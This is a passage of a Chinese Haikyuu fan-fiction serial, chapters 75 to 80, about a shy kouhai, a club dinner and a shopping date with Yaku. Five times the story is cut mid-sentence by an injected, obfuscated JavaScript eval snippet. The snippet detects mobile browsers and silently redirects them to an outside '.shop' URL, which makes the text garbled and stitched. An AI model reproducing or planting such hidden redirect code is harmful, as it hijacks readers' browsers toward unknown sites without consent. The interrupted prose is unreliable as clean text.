他问我是不是打算打耳洞了才会买耳钉，我跟他说目前还在考虑要不要打、因为有点怕痛所以还在犹豫。 闻言，研磨从游戏的海洋里冒出头看我一眼，问我那为什么还要买耳钉、万一最后用不上不是会浪费钱。 我说因为是别人送的。 “夜久前辈应该不会送你这样的礼物吧。”按下暂停键的研磨转头看向我，看起来稍微有些疑惑，“毕竟你没有耳洞。”这种连他都知道的事情夜久前辈不可能忽略的才对。 闻言，面前的学妹安静两秒，回他，“所以夜久前辈本来没打算给我的。” ……差点就要失去这份礼物了。 75. 第七十五个小岛 研磨前辈没对我的话发表什么看法，他只转头看了我一会儿，半晌安静地收回目光，再按下游戏中央的继续键。 等待游戏开始的那几秒时间，他似乎是兀自思考了什么，随即对我道了一句语气说是问句、倒不如说是陈述的话，毕竟他说得太笃定、又完全没有想要我回答的样子。 他说：“你现在有发现你对夜久前辈来说是特殊的吗。” …… ……？ ……等等？ 很突然的，我突然想起之前合宿的时候发生的一件事。 是那次……研磨前辈跟我说，夜久前辈在整个排球部也唯独最关注我的那次。 他其实在这句之后还接了一句话来着……没记错的话，应该是 ——【其实很明显，也就你们自己不知道了。】 我当时满心沉浸在所喜爱的前辈其实也有在关注我的欣喜里，将接下来的话通通左耳进右耳出地没记进心里，自然地忽略过去了——但是、但是。 隔了两个月多，我却突然在一个某种意义上算不得普通的黄昏想起来了。 想起来了这句、至少对现在的我来说的确称得上是正中靶心的话。 前辈和后辈……但我明确我喜欢他、他在所有人眼中也绝对关注着我的情况下。 ……我们的关系真的还有这么单纯吗？ 特殊……特殊。 不说别的，就单这个词本身所蕴含着的意味，也已经足够特殊了。 # 把所有东西收拾好的时候已经快要六点了，我们凑在一起算了一下赚来的钱，惊讶地发现加起来竟然比预想中（毕竟没有怎么认真准备来着）能赚到的钱多了一倍不止，便纷纷兴高采烈起来，转头就准备拿这笔钱一块去学校附近的餐馆聚餐。 “……但直接花掉的话，不是跟没赚没什么区别吗？”眼见他们都已经开始争执该去哪个餐厅了，我稍微有点迷惑地围观了一会儿，转头问旁边同样远离战局的研磨前辈。 他正自己动手将拉链拉到最高，闻言侧目看了看那边正在争执的人群，想了想，答：“可能因为我们的成本钱是学校审批下来、本身其实是没出钱的吧。” “‘反正是白得来的钱不花白不花’……之类的。”他语气平淡。 我跟着他一起看过去，恰好看到黑尾前辈刚一巴掌挥到灰羽头上叫他别像个复读机一样嚷着要吃豆腐皮寿司、便转头攻击夜久前辈比爱吃鱼更爱吃肉的喜好很像老年人，不禁沉默两秒，无言地收回视线，转头看眼研磨前辈，从他眸中望见点习以为常的麻木与习惯之色。 “……辛苦了，研磨前辈。” 我略显感慨。 不管是和这群跳脱又吵闹的男高中生度过了一年、还是跟黑尾前辈当了这么久幼驯染……有这样社牛的幼驯染、对于不喜欢社交的内向社恐类型的人来说多少会有点头疼吧。 闻言，研磨前辈沉默了一会儿，挂上痛苦面具，“小黑以前不是这样的，他之前明明是个比我还社恐的人才对。” 我怀疑自己是不是听错了什么东西。 不可置信地打出一个问号，我转头看一眼已经开始混战的排球部正选部员，重新回头，语气谨慎，“这个‘之前’是指上辈子的那个‘之前’吗？” “……”他看起来灰得更严重了。 我稍显心虚地飘开视线，安静两秒，绞尽脑汁试图宽慰他，“……好歹比太社恐自闭的性格好一点吧？”……至少我是觉得我现在比最开始那样要好得多了。 “……理倒的确是这么个理。”研磨前辈沉默了好一会儿，“但未免也成长得太过头了吧？” ……倒也的确没错。 # 他们一群人争论不出个结果，最后决定采用最原始的方法来做出这个艰难的决定——那就是石头剪刀布（好幼稚）。 灰羽最后用他良好的运气过五关斩六将夺得第一，神气兮兮地在众多败北的学长面前炫耀了一圈，最后在被打之前提出了自己想去的餐厅。 没人有异议，于是灰羽便将其视作全票通过，昂首挺胸地走在前面带路。 我跟着帮我提了两袋买回来的东西的夜久前辈，心思却暂时偏了偏，移到灰羽刚刚提到的店名上。 稍微有点耳熟……之前应该有听灰羽提过。 直到到了地方、站在店门口抬头看到店铺的环境，我才终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309425|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从苦思冥想的状态中解脱出来，恍然大悟。 这家店我接到过灰羽的安利然后来过欸，是上个学期的事情了，我记得里面的香草冰淇淋很好吃。 然后、除此之外好像还恰巧遇到了一起来聚餐的排球部的其他人……啊，还是和夜久前辈的第二次见面。 过去的记忆忽地一幕幕涌上脑海，隐隐带上鲜艳又历历在目的色彩，我下意识侧头看了眼走在身旁的人，心中的念头还隐蔽而深藏地掩在空茫无序的思维之下没来得及结成实体，便听到走在最前面的灰羽突然想起什么般感慨了一声。 “说起来，上次和大家来这里吃饭的时候还遇到小游了来着。”他摸着下巴想了想，道，“这次还原班人马聚齐了啊，好巧。” 夜久吐槽他，“人家上次明显不想和我们一起你还非逼着她来的事情怎么一句话不提，只记得好事吗？” 灰羽表示他只是并不在意这件事、而不是不记得了，“反正小游这次肯定愿意一起来的啦，不要在意这些细节。” 黑尾感慨后辈的不道德，“还真的只记好事啊。” 灰羽：“我记得的！！” 其他前辈也纷纷开始扮演复读机，“只记好事呢，灰羽。” 灰羽：“喂！” 我看得想笑，忍不住弯起眼笑起来，再抬头看看熟悉中掺了些时间带来的陌生的餐厅，竖起一根手指，道：“我这次要单点一份香草冰淇淋。” 虽然钱不在黑尾前辈手上、但他依旧很大气地一挥手，道：“点！点一百份都没问题！我们有钱！” 福永摸着下巴，“吃完会不会变成冰淇淋人？” “考虑这个之前不如想想小游到底能不能吃得下一百份冰淇淋吧。” “不应该先考虑餐厅有没有这么多冰淇淋的存货吗？夏天已经过去了啊，餐厅应该不会备这么多冰淇淋吧。” “？到底为什么直接就默认要点一百份冰淇淋了，小游只说要点一份吧。” “对哦。” “都怪黑尾/黑尾前辈！” “？到底跟我有什么关系！” ——真热闹啊。 时隔几个月，我再次这么由衷地想道。 76. 第七十六个小岛 文化祭之后的日子和往常没什么差别，上学、参加早训、上课、下课、吃饭、再参加课程结束后的部活，最后下训后一块去便利店买点吃的，在同顺路的部员一块走一段路直至最后分道扬镳。 但……可能是因为周末有约的原因，我总觉得还是有点不一样了。 感觉时间过得更慢了，也更加期待明天、后天、大后天直至周末的到来。 中午吃饭的时候和夜久前辈商定一起商量着定好了时间，将见面地点定在附近的电车站，准备到时候一块坐电车去确定好的商业街。 啊……不过，说来惭愧，这方面我其实几乎都没怎么插手来着，我本来只是想确定一下夜久前辈没有忘记这件事来着，结果还没来得及开口，就被看到我过来的夜久前辈拉走，啪地将数个方案摆到我面前，一边讲其中的优缺点一边询问我更看重哪个、或者自己有没有什么想去的地方都可以商量之类的。 ……稍微有点被惊到，但真要说起来其实还蛮开心的，有种夜久前辈同样很看重这件事的感觉……且不是错觉。 作为提议者的我反倒一点计划都没有，毕竟在此之前偶尔出门都是突发奇想地想去哪就去哪来着…… 最后选了其中一条总得来说比较顺路的路线，规划得不算细致，但自由度相对来说是很高的那一类，有很多可以临时更换计划的余韵，不至于特种兵式打卡游玩。 夜久前辈也是比较随心的性格，我们于是堪称是一拍即合地通过了这个方案，唯一明确了要去的只有碰面的电车站和下车的电车站。 事情进展顺利真是太好了。 ——眨眼到了约定的周末当天。 现在的气温还没降太多，除了清晨傍晚和雨天及风大的时候会让人感受到一点冷意，其余时候就是短袖出门也不会有太多冷的感觉。 嗯……虽然往年到了这个温度我早早就套上长袖长裤和外套才会出门、唯恐遇上天气预报没预测出来的下雨或是有风的天气，但这次毕竟是出去玩、还是跟喜欢的人一起，我于是稍做了下心理准备，便没怎么犹豫地转头打开了放着夏天衣服的衣柜。 ——当然最后外面还是套了件外套的，裙子下面也穿了袜子，真的出现意外天气也不至于太冷。 到了准备出门的时间点，我便拎上包出门了。 今天天气不太好，阴沉沉的，我走前看着天空想了好一会儿，秉承着对天气预报的不信任，还是在它说今天不会下雨的情况上带了把伞备用。 也因此出门时间稍微晚了两分钟，但我本来就提前了大半个多小时出门，问题不大。 这样的想法在远远看到站在电车站口的夜久前辈时烟消云散。 望着站在电车站闸机内侧笑着朝我招手的浅发男生，我“欸？”了声，下意识看了眼时间，发现离之前约定好的时间还差了二十分钟，不禁又“欸？？”了一声。 下意识提起速度，小跑着冲向电车车站的闸机，我刷卡进站，随即一溜烟跑到已经上前两步来接我的前辈面前，哪怕没有迟到也情不自禁地有些抱歉地问：“不好意思来晚了……有等很久吗？” “你应该问‘你怎么来这么早？’的，小岛。”闻言，夜久有些无奈地伸手戳戳我的额头，“是我来早了才对。” ……也有道理。 于是我顿了顿，依言反问：“那夜久前辈怎么来这么早？”明明离约定时间还有将近半个小时来着…… ……倒也的确很听劝了。 忍不住笑了下，夜久前辈朝我轻挑了挑眉毛，反问：“你不是每次都提前四十分钟出门吗？” 一边说着，他一边将手上提着的那个奶茶袋子递给我，“总不能让女孩子在冷风里等我吧。今天可比昨天降温了点啊，给，全糖红豆奶茶，热的。” 啊……感觉今天比昨天冷原来不是少穿了衣服的原因吗。 出门之前只看了天气预报没看气温来着……怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309426|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然降温了。 这么想着，我伸手将奶茶接过来，碰了碰杯壁，感受着指尖触到的温热触感情不自禁地弯了弯眼。 “谢谢夜久前辈。”我笑着这么道。 “嗯哼。”他欣然应下，随即视线偏了偏落在我身上，“今天很漂亮哦，小岛。” 碰着奶茶杯的指尖一瞬间收紧，我呼吸滞了下，随即微微睁大了眼睛，“……欸、欸。” 下意识偏过视线，我抿了抿嘴唇，有些不太自在地压低了声音，生怕其中有什么东西流露出来被察觉，却实在控制不住上扬的唇角，“……谢、谢谢？” 他有点无奈地软下眉眼，伸手，将我刚刚跑起来时有些乱了的刘海理顺，“这副不确定的样子是怎么回事啊……至少我的夸赞可以坦然一些的应下吧。” 什么叫至少你的夸赞……明明会更不好坦然接受吧。 ……好歹别人跟我没有一点关系啊。 不自觉地撇开视线，我安静两秒，转移话题地问：“夜久前辈，我们什么时候上车啊。” 夜久吐槽我，“转移话题的技巧好明显……我看看，还有十一分钟。” ……到底是谁在一直配合我转移话题啊，不是每次都有发现吗，夜久前辈。 我不自觉腹议着，一边摸出袋子里的吸管，撕开包装插上，随即咬着吸管尝了一口。 唔……感觉有些过于甜了，下次要七分糖吧。 嚼嚼里面一起吸上来的蜜红豆，我动作顿了顿，突然又有些犹豫地回想了一会儿。 说起来……之前好像也吃过这样类似的比想象中甜很多的巧克力糖。 感觉好像是很久远之前的事情……是什么时候的来着？ 下意识回想了一下，但还没回想出个所以然来，夜久前辈便朝我招了招手，“走吧，上车的地方还有一小段路，我们先去那边吧。” 回过神，再反应两秒他说的话，我于是立刻应了声，“好。” 77. 第七十七个小岛 电车到站之后再走了七八分钟迎面来的就是一家冰沙，我好像有在社交网站上刷到过这家店（好像是家网红店？不过可能是因为降温了、排队的人不是很多），于是不自觉停下盯两秒，转头看向夜久前辈。 他跟着我停下抬头看眼，见我回头，便抢在我开口之前率先比了个“×”，“之前店里有空调就算了，我们现在估计还要在风里呆一段时间，冰沙太冰了。” “而且，”他顿了顿，忍不住吐槽，“抱着杯热奶茶说要吃冰沙未免有哪里不对吧？” “……有吗？”闻言，我低头看看手里捧着的还没喝完的奶茶，“那冰了的话刚好喝一口不就好了。” 夜久前辈沉默两秒，缓缓打出一个问号，“歪理未免过于歪了……这么吃对胃不好，等夏天再来吧。” “哦。” 再走一小段距离就是遇到的第一家精品店，装潢温馨，多为木质纹理明显的装饰，门口垂下好些坠着星星和花叶装饰的木绳作为门帘。 店里意外有开空调，一进门率先感受到的便是扑面而来的暖风，有点闷，但很暖和。我不自觉搓了下在冷空气中呆久了也变得冰凉的手，再抬头看看店内的布置——啊，是森林主题的店铺欸。 “欢迎光临——”店员的声音从门口附近的收银台传来，有点突然，我下意识侧眸望过去，对上店员小姐微微笑着的眉眼。 她见我望去便朝我弯唇笑了下，我有点微愣，下意识飘了飘视线才回来，朝她弯了弯眼睛，便转头跟上正往前走的夜久前辈。 精品店里的东西都没什么区别，皮筋发绳玩偶之类的都有，还有些漂亮的装饰品，我先四处瞧了眼，便就近凑到一块放了些女孩子的小饰品的区域面前。 虽然其实不怎么扎头发但是我就是对漂亮的发绳很感兴趣……就是很可爱啦，人之常情嘛。 就算不扎也可以戴在手上什么的嘛。 这么想着，我从装满发绳的几个小篮子里挑挑，摸出两根浅蓝色带蝴蝶结的凑近看看，又放下，转而看看旁边带着爱心的粉色发绳。 好，这个先拿一个……再拿一个浅紫色的星星发绳。 家里常备着的那种黑色皮筋好像也快没了……每次要用都去拿，结果回来就不知道丢到哪了就消耗很快，稍微有点苦恼……也拿两卷吧。 等到统一拿完，我侧头，看看旁边跟着我一起停在这一小片区域，正若有所思地看着手上拿起来的发卡想着什么的夜久前辈，不禁有点好奇，“夜久前辈在想什么？” “嗯？”他闻言将视线从手上发卡移到我身上，想了两秒，突然凑近了些，伸手按在我肩上，“先别动。” 我有些迷茫地照做，看着他微微弯腰再凑近了些，目光专注地望来，伸手轻轻按住我耳侧的那块发丝，将手上的发卡别了上来。 他随即退开一步，看我两秒，又帮我理理发丝，才开口回答我刚刚的问题，“在想你为什么一直没有戴过发卡一类的东西……总感觉应该不是觉得不喜欢才对，所以有点疑惑。” “这个啊……的确不是不喜欢来着。”闻言，我下意识回想了一会儿，“因为戴发卡一般是别在刘海上的来着，但之前没有刘海会稍微有点没安全感，所以就一直没用……现在倒没什么感觉，但已经习惯了就没想起来继续买。” 发卡下的银色金属除却刚贴上来时有点发凉，之后就逐渐没什么感觉了，我下意识抬眼看了看，没看到，便转头对着旁边的镜子照了照，“……好看欸！还有同款式的吗？” 是很低调的款式，普普通通的长条发卡，是低饱和的淡淡的粉色，不算很长，大概两个指节的程度，应该是陶瓷的，表面有亮亮的反光……总之很可爱。 “欸？我找找。”他闻言愣了一下，随即转过头，在那边几篮子发卡里找起来。 发绳挑差不多了，我便也干脆凑过去，在那边挑起来。 东西太多，同款自然不太好找，我没找一会儿注意力便转到其他的发卡上面，四处看看，拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309427|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个低保和的浅色系一字夹。 夜久前辈有些遗憾地表示没有找到同款的时候我也没什么太大的反应，只摇摇头，随即将手上后拿的几个发卡问他，“这个兔子好不好看？我待会儿还想买这样的毛绒玩偶挂坠。” “很可爱哦。”他顿了顿，又问我，“是很喜欢兔子吗？” “唔……”我认真想了想，“好像都还好？最近会喜欢可爱的东西一点来着，具体是什么好像不太在意，小狗也很可爱。” 见夜久前辈若有所思的样子，我不自觉问他，“怎么了吗？” “倒也没怎么……只是稍微有点好奇小岛你还有什么喜欢的东西就是了。” 看到我明显怔住的样子，他忍不住笑起来，似有些无奈地朝我弯弯眼睛，“喜欢吃比较甜的东西、喜欢热食、喜欢毛绒绒的可爱的东西、也喜欢漂亮的饰品……但除了这些稍微观察一下就能看出来的，我还想更多地了解你一点，小岛。” 说到最后，他似乎是意识到什么，声音逐渐弱下去，直到最后我近乎要听不见我的名字。 ……啊、当然，也可能是加快的、放大的心跳声吵到我了、便让我没太听清他究竟说了什么。 更多地了解我一点、什么的，不管怎么说……未免都有些太超过了吧。 我有些分不清脸上的热度究竟是被店里开的很足的暖风传过来的、还是纯粹因为脸红而导致的升温了……但不管怎么说，空调开得很足真是太好了。 倒也不是不想让夜久前辈察觉之类的原因……只是如果真的脸红起来、站在夜久前辈面前的我会稍微有点不太敢面对他。 余光瞥过旁边的镜子，我望着其上我已经隐隐蔓上红晕的脸颊，忍不住深吸了一口气。 “……我选好了，夜久前辈。”我近乎是立刻撇开视线，伸手抓住他手臂，有点匆忙地开口，“……我们去结账吧。” “……”他顺着我的动作走了几步，似是沉默了好一会儿，才轻声应道，“好。” 78. 第七十八个小岛 踏出店门，微冷的风便迎面吹过来，我被凉得脚步顿了一下，随即才继续往外走。 将付款买下来的皮筋发卡都挨个放进包里，我按下跳得有点过快的心脏，安静两秒，又有点不自在地偏过头，虽侧到夜久前辈的方向、视线却没敢落在他身上，只虚虚放在那边的地面上，随即顿了顿，轻声道：“刚刚还有看到前面有家精品店……再去那边看看吧？” 夜久安静了一会儿，“好。” 接下来接连再逛了两家精品店，买了两个挂坠和两只玩偶就差不多结束，我还跟夜久前辈一块去逛了逛家具区，看了半晌，挑了几个木质杯垫和马克杯走。 顺便还买了刷到很久但一直没买过的拍立得，感觉拍完立刻能出相纸会很方便，而且出来的效果也很有复古的感觉，和相机不大一样。 相纸多买了几盒（因为不知道下次出门来精品店是什么时候了……），其中还带了几盒不知道是什么ip但反正很可爱的花边款，总之也算是收获颇丰。 买完差不多到了饭点，我们一块掏出手机在社交软件上搜了下附近的饭店评价，挑了其中一家好评很多、店龄也很长的咖喱店。 ……不过我是冲着那里的豚骨拉面去的就是了，店里好评有提到过很多次，说是汤很正宗……想喝。 可能是因为我自己很怕冷的原因，天气一凉我就对这类汤汤水水的东西很情有独钟，明明暖和的时候对什么都不怎么挑的来着，冷的热的都没什么感觉。 嗯……可能是因为喝汤会全身上下都暖起来，会很满足。 夜久前辈也和我点了一样的东西……开心。 吃完饭去乐器店前，虽然买的东西虽然整体不算多、分量也还在可以接受的范围，但因为去乐器店有快十分钟的路程，我们最后还是就近找了地方寄存了一下买的东西。 乐器店在商业街旁边的一条街上，位置不是很居中，有点偏，店面有点老……啊也可能是专门的复古风装修，我不大清楚。 “欢迎光临——两位是需要看哪种乐器呢？需要的话我可以做个推荐。”刚一进店，热情的店员小哥便笑容满面地迎上来，语气热切得我稍微有些不太适应，不自觉往旁缩了缩。 夜久前辈下意识看了我一眼，见我明显不太适应，便微微侧身把我往后拦了下，“是看木吉他。不过不用推荐了，我们想自己逛一下。” “哦哦没问题，木吉他在那边往前左手边的区域，有需要可以直接喊我，我随时都在。”闻言，店员点头应了声，转而伸手五指并拢往里示意着指了一下。 “会的、谢谢。”礼貌性应了声，夜久前辈伸手虚虚扶上我肩膀，带着我顺着店员指的方向往前，没走两步便看到他所说的那个放着木吉他的区域。 我首先第一眼看到我最开始用的第一把吉他，当初刚学还没请老师，就按着网上的攻略买了这把很适合新手入门的款式，对当时的我来说不算很贵，质量也不错，性价比很高，一直没出什么问题，不过后来学了一段时间之后就为了追求更好的音色和手感换了现在的那把。 至于现在……其实也不全是为了约夜久前辈出来的借口来着，也许是弹久了技术提高了，我稍微就有点不太满足于现在的那把吉他了，但网上买总有种容易买到不合适或者手感不好的感觉、线下又一直没有出来买的勇气（会遇到类似现在遇到的类型的店员……有些太热情了）。 四处看了一圈，心下多少有了些判断，我盯着其中几把挂在墙上的吉他，不自觉捻了捻指腹，有点纠结地转头看向自知自己帮不上忙于是安静地不说话、只是有些好奇地四处看看其他关于乐器的用具的夜久前辈。 他正看着旁边放电吉他的区域里另外摆着的音箱不知道想了点什么，突然有些好奇地过来问我，“小岛，你最开始是为什么想学木吉他啊？” 刚抱着“夜久前辈没准知道”的想法准备问问乐器店墙上挂的乐器可不可以拿下来试试的话语被他的问题堵了回去，我“啊”了声，下意识看了眼他刚刚在看的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309428|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电吉他，“最开始学是因为太无聊想找点事做、但又不太想出门，就想着学个可以在家练的乐器来打发时间来着。” “为什么选吉他的原因有点忘掉了……不过没选电吉他是因为要插音箱，在家弹会很吵，而且对电吉他的音色没什么兴趣。”下意识以为他是好奇我为什么会在电吉他和木吉他之间选择木吉他，我便顺口解释了一句。 “这样啊。”他若有所思地这么道了一句，随即转而问我，“刚刚想问什么？” “……有点想把吉他拿下来试试，不知道可不可以。”一边说着，我一边伸手指了指墙上挂着的吉他。 他想了想，留下一句“我去问问”，便转头走向那边的店员，没两分钟就带着“可以”的回答回来了。 “不过说是要小心一点，不小心造成损坏需要赔偿。”夜久前辈补充道。 我对这条很正常的规则没什么反应，只伸手点了点墙面上挂着的其中几把吉他，随即微微低头双手合十，“……拜托了，夜久前辈。” 虽然说实话的话，至少我看中的那几把吉他都没有挂得很高、至少是我可以自己拿下来的程度……但有夜久前辈的话就稍微会有点想这么拜托一下。 这么想着，我稍稍抬头看了面前的夜久前辈一眼。 ……却恰好跟他的视线撞上了。 我顿时有种被抓包了的心虚感，下意识缩了缩脖子，有点情不自禁地飘了飘视线，再看他，却发现他已经伸手去帮我拿我第一个点到的那把吉他了。 ……欸？ 直到小心地接过他递来的吉他时，我还是稍有些惊讶地望着他。 夜久这下是真有点无奈了，他微微叹了口气，不轻不重地伸手戳了下我的额头，有点没好气地问：“干嘛用这副眼神看我，以为我真不会帮你拿吗？” 不疼、但我还是下意识伸手摸了摸他刚刚碰过的那一块区域，“……那倒也没有。” 至少……至少没有想过夜久前辈会拒绝我的请求。 79. 第七十九个小岛 挂在墙上的吉他为了方便往来的客人试弹所以都带了背带、至少我不用纠结到底要怎么站着试弹没有背带的吉他了（周围好像也没有可以用来踩着抬高大腿来架吉他的小椅子……）。 带子有点长了，我调了下长度才背上，随即调整了一下吉他放的位置，才挨个拨弦，仔细听了下音，再敲了敲音箱。 斟酌着思考了两秒，我侧眸重新望向夜久。 他跟我对视两秒，意会地帮我又取下一把。 嗯……怎么说，其实挑吉他其实主要还是选择困难症作祟，最后把有点兴趣的都挨个试了一遍后心里也姑且有了评判，我盯着其中两把吉他看了一会儿，有点纠结地皱了皱脸。 “是挑不出来吗？”夜久从头到尾其实都没太看懂我是以什么标准来选的吉他，但他姑且懂我的想法，见我露出这么副神情，便了然地这么问。 “稍微有点没法取舍、这样。”我有点苦恼地这么道，抬头稍稍再盯了两秒，便抬起手，又挨个踮脚拨了两下弦，若有所思地思考两秒，“要不都买了吧？” “……”夜久挨个看了下价格，“……虽然知道我没什么立场干预你想要买什么，但要不还是再考虑一下呢？”这两把吉他一把比一把贵啊！再加起来已经是一个他不太敢想的天文数字了。 我有点疑惑地看了他突然的动作一眼，意识到什么，也转回来看了下价格：……啊，是有点贵了。 两把都是吉他里质量价格皆偏高的，我出门的时候只想着要买一把、所以也只做了一把吉他的预算（虽然带的是卡就是了）……不对，我本来也没真的打算买两把啊，只是有点纠结所以随口说了一句来着。 被夜久前辈带歪了……而且为什么是一副就算真的要买也一定会支持我的样子，倒是阻止一下明显在不冷静地冲动消费的后辈啊。 收回手落下踮起的脚，我有点一言难尽地转头看向旁边的夜久前辈，迎着他有些疑惑的眼神沉默两秒，语气微妙地说：“……夜久前辈，倒是也别太溺爱明显在冲动消费的行为啊，两把吉他未免太不切实际了点。” 两把吉他，如果是为了收藏买的就算了，但我到现在换的所有吉他都是因为不合当前审美、为了追求更好的音色质量才换的，买两把回去可谓是完全没必要。 啊……不过话也不能说太满，没准未来有收入的时候我也会开始收藏喜欢的吉他或者其他的什么东西。 未来的事谁都说不准，但至少现在，我可以说我不会一下买不必要的两把吉他回家——都不是想不想的问题了，是物质条件都跟不上啊。 默默在心里这么吐槽着，我抿抿唇，仰头盯了看中的那两把吉他一会儿，开始在心里默默地点兵点将。 于是旁边听完我的话终于意识到这点、沉默地反思了一会儿的夜久就见我又回过头，安静着思考了一会儿，便伸手指指其中一把，随即微微侧头朝他看过来，道：“就远一些的那把吧……夜久前辈拜托了。” 他对我纠结半天突然想通了的行为稍微感到了点惊讶，一边上前帮我拿吉他，一边有点好奇地问我，“怎么突然决定了？” “……也说不上决定吧。”甚至稍微有点草率来着。我犹豫两秒，还是实话实说，“点兵点将点出来的……让我自己来选的话实在选不出来了，这两个对我来说差别都不是很大。” “这样。”他看出我的认真，便很快接受我的说法地点了点头，将吉他稳稳从墙上取下来，没第一时间给我，而是微微侧身给我让出一条路，道，“你先走吧，我帮你拿着。” “……好。”我慢半拍地应了声。 # 买好吉他出来，我低头看了眼手机，发现现在甚至还没到两点钟时不禁有些惊讶地微微睁大眼睛，“才一点四十多……好早啊。” 帮忙背了吉他的夜久刚从店里出来跨到我身侧，闻言微微偏头看了眼我手机屏幕上写着的时间，想了想， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309429|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“接下来没有安排了哦，还有什么想去的地方吗？” ……欸、欸？我来选吗？ 我没有什么想去的地方了欸……但、好不容易跟夜久前辈一起出来玩，稍微有些不太想回家……才一点四十呢。 不自觉抿了抿唇，我微微攥紧了手机，盯着暗下来后像镜子似的反射出我的脸的屏幕看了一会儿，沉默了半晌，却纠结着不知道说什么。 ……今天一天去的都是我想去的地方吧？这种时候是不是该反问一下夜久前辈想去哪里……但万一他也没有想去的地方，被我这么一问刚好就以没人有想去的地方解散怎么办？ 难得跟夜久前辈一起出来玩，之后还不知道下次是什么时候可以一起（而且冬天好冷啊，完全不想出门……总不能邀请夜久前辈来我家吧？）……不想现在离开。 随、随便说一个想去的地方？ 这么想着，我下意识开始紧急思考附近有什么可以去的地方。 ……甜品店？可以去探店什么的，之前有刷到过这样的视频。 但夜久前辈会不会不感兴趣，之前好像没怎么见他去甜品店之类的地方…… 正紧急地进行脑筋急转弯，我还没思考出个夜久前辈也会感兴趣的地方，就听到自身侧传来的一道声音。 “如果没有想去的地方的话，”于我下意识望去的视线中，我看到夜久前辈柔软下来的眉眼，他道，“我知道一个很不错的地方哦？” “要来吗？小岛。” 耳畔是他气息莫名有些不稳的嗓音，我微微垂眼盯着他朝我摊开的手掌看了一会儿，忽地似有所觉般抬眼，望进他似乎染上了一抹紧张之色的眼睛。 ……紧张？ 我没想明白他究竟在紧张些什么，但身体已经先我一步做出反应，近乎是下意识地，我伸出手，毫不犹豫地伸手握上他的指尖。 “……要去。”我小声地、坚定地这么道，“我要去。” 80. 第八十个小岛 在风中显得格外明显的热度持之以恒地从肌肤相贴的地方传过来，我闷不吭声地稍加快了脚步跟夜久前辈并肩往前走，大脑却是隐隐泛着白的。 近乎所有注意力都牢牢黏在被另外一人呈包裹状牵起的手掌上，我大脑有点发懵，思维反反复复确认了半晌，才慢半拍地得出这么个结论。 ……我在跟夜久前辈牵手。 ……虽然刚刚近乎是毫不犹豫地伸手握住了夜久前辈朝我摊开的手，但说实话，那完全是下意识的行为来着……反应过来的时候就已经握上去了。 ……如果只是普通地握一下倒也没什么，毕竟这个动作按理讲的确是要将手放在他掌心的……但夜久前辈收手的时候反倒下意识攥紧了我的手。 再反应过来的时候手掌已经被握住了……完全没有收手的余地，手掌实实在在地、亲昵地贴在一起，我甚至能感觉到他透过相贴的那块皮肤而传过来的体温。 耳朵充血般泛着灼热的烫意，我不自觉收紧了下指尖，又在意识到以我们现在的握法他一定会察觉到时猛地僵住。 下意识地，我小心地用余光看了他一眼。 他看起来似乎没察觉到……太好了。 我不自觉地微微松了一口气，随即强行将自己的注意力移开，挪到面前所能看见的地方，又忽地微微一顿。 ……怎么说呢。 虽然答应的时候很爽快、也的确毫无异议地跟着夜久前辈走了，甚至连对于目的地在哪的疑问都未曾发出过……本来是想问的，但后面完全没腾出精力去问这件事，现在终于想起这件事时，又很明显地已经到了。 